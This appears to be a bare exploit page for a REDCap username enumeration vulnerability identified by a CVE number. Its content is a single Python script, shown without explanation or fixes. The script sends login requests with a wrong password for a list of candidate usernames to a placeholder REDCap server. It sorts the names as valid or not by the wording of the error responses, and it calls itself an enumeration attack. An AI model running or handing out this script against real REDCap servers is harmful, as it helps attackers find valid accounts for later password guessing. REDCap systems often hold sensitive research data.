CVE-2024-55374: REDCap用户名枚举漏洞

import requests import re target_url = "http://target-redcap-server/redcap/api/auth/" # List of usernames to test usernames = ["admin", "testuser", "user1", "john.doe", "jane.smith"] def test_username_enum(username): """ Test if a username exists by observing login response differences """ # Payload for login attempt payload = { "username": username, "password": "wrongpassword123", "action": "login" } try: response = requests.post(target_url, data=payload, timeout=10) # Analyze response for username enumeration indicators if "Invalid username" in response.text or "User not found" in response.text: return {"status": "invalid", "username": username} elif "Invalid password" in response.text or "incorrect" in response.text.lower(): return {"status": "valid", "username": username} elif response.status_code == 200 and "exists" in response.text.lower(): return {"status": "valid", "username": username} else: return {"status": "unknown", "username": username} except requests.RequestException as e: return {"status": "error", "username": username, "message": str(e)} # Run enumeration print("Starting username enumeration attack...") valid_users = [] for username in usernames: result = test_username_enum(username) if result["status"] == "valid": print(f"[+] Valid username found: {username}") valid_users.append(username) else: print(f"[-] Invalid username: {username}") print(f"\nEnumeration complete. Found {len(valid_users)} valid usernames.")